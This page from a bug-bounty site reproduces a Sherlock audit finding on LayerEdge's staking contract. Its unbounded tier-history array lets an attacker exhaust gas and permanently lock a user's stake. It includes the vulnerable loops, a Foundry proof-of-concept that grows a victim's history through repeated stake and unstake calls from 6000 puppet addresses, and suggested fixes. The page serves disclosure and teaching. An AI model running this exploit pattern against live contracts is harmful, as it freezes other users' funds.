Skip to content
DoS Audit finding Intermediate

stakerTierHistory is an unbound array that can be extended such that a user's funds are permamently lost

The staking contract stores each user's tier history in an unbounded array and iterates over the entire array on every user action, so an attacker can repeatedly stake and unstake small amounts to grow the array until the user's transactions run out of gas and their funds are permanently locked.

0x15 Follow with AestheticBhai, Artur and 23 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-05-layeredge-judging/issues/194

Found by

0x15, AestheticBhai, Artur, Bigsam, Boy2000, Cybrid, Drynooo, Galturok, KobbyEugene, Ollam, PersonaNormale, X77, ZafiN, algiz, eLSeR17, gesha17, illoy_sci, jkoppel, lukris02, novaman33, ptsanev, sil3th, t0x1c, tjonair, tobi0x18, wickie

Summary

In LayerEdgeStaking.sol, an stakerTierHistory is used for each user to track their tier history in a boundless array. This array is iterated through every time a user does any action with the protocol in calculateUnclaimedInterest(), which is called as part of _updateInterest(), which is called as part of every user action. This array is iterated over in its entirety every time this happens, which can make any user operation eventually cost more gas than is permitted in a block, permanently locking the user's tokens in the contract.

Root Cause

In calculateUnclaimedInterest(), the user's tier history is iterated through in its entirety.

Solidity
        for (uint256 i = 0; i < userTierHistory.length; i++) {
            if (userTierHistory[i].timestamp <= fromTime) {
                currentTier = userTierHistory[i].to;
                relevantStartIndex = i;
            } else {
                break;
            }
        }

There is another loop which goes through the array starting at a given index:

Solidity
        for (uint256 i = relevantStartIndex + 1; i < userTierHistory.length; i++) {

This index is added to every time the user changes tier, which can happen because of other users staking and unstaking tokens. This happens in _recordTierChange:

Solidity
        stakerTierHistory[user].push(TierEvent({from: old, to: newTier, timestamp: currentTime}));

This means that if a user sticks around in the staking pool long enough, organic user activity can lock his funds permanently. Additionally, an attacker can abuse the system by staking and unstaking small amounts over and over again to increase the length of a user's tier history array.

Additionally, every time the user's tier is iterated through the system, it also iterates through every apy change for that tier. This has a multiplicative effect on gas consumption, such that every apy change in the protocol's history will drastically decrease the number of tier changes a user needs to experience to be locked out of his funds.

Internal Pre-conditions

The affected user must be staked and not be first in line.

External Pre-conditions

No external preconditions.

Attack Path

  1. A user stakes a position
  2. Whether because of organic activity or an attack, the user crosses the tier boundary several times
  3. The user can now no longer withdraw

Impact

The affected user loses all staked funds and can never withdraw.

PoC

Please copy and paste this in LayerEdgeStakingTest.t.sol. Please run with an increased gas limit - forge test -vvvv --mt test_audit_gas_bomb --gas-limit 1000000000000

Solidity
function test_audit_gas_bomb() public {
    // NOTE must be run with high gas limit
    // forge test -vvvv --mt test_audit_gas_bomb --gas-limit 1000000000000
    address attacker = makeAddr("attackerAttacker");
    vm.startPrank(admin);
    token.transfer(attacker, MIN_STAKE * 10000);

    setupMultipleStakers(9);

    vm.startPrank(attacker);
    token.approve(address(staking), type(uint256).max);

    for (uint256 i; i < 6000; i++) {
        address puppet = makeAddr(vm.toString(100001 + i));
        vm.startPrank(attacker);
        token.transfer(puppet, MIN_STAKE);
        vm.startPrank(puppet);
        token.approve(address(staking), MIN_STAKE);
        staking.stake(MIN_STAKE);
        staking.unstake(MIN_STAKE);
    }

    // bob's user history has been appended to so many times that he can't function
    // any function he calls will revert because calculateUnclaimedInterest will take 45M gas
    uint256 gasBefore = gasleft();
    staking.getAllInfoOfUser(bob);
    uint256 gasAfter = gasleft();
    uint256 gasSpent = gasBefore - gasAfter;
    console2.log(gasSpent); // according to the log, 87M gas spent, according to the trace, 45M
    // either way, too much for bob to be able to do anything, his stake is stuck
}

Mitigation

Consider storing a starting index for users so that the function doesn't iterate through every item every time. This would make it so that although the DOS is possible, as long as the user calls any function on the protocol every now and then the gas would remain within bounds. Currently, the whole thing is iterated over every time which given sufficient user activity can cause problems. Alternatively, allow users to collect interest with a function that processes n amount of tier changes so that the process can be broken into smaller transactions.

The original report as published on Sherlock, by 0x15. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the contract iterates over an unbounded per-user tier history array on every action, and the array length can be inflated by other users' staking activity.

Impact

The affected user loses all staked funds and can never withdraw.

What the attacker needed

Victim is staked and not first in line; attacker can stake and unstake repeatedly

The fix

The contract should be fixed by storing a starting index for each user so the function does not iterate over the entire history every time, or by allowing interest collection in batches of tier changes.

How it was found

  1. A user stakes a position in the contract.
  2. The user's tier changes several times due to organic activity or an attacker's repeated stake/unstake actions.
  3. The user can no longer withdraw because the gas cost of iterating the tier history exceeds the block gas limit.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract keeps a list of every time a user's staking tier changed. Every time the user does anything, the contract reads the whole list, which costs more and more gas (the fee for computation) as the list grows. An attacker can make the list huge by staking and unstaking tiny amounts, so the user's transactions always run out of gas and their money is stuck.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by 0x15

View all

6 more disclosed reports, best first.

More from LayerEdge - Staking

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.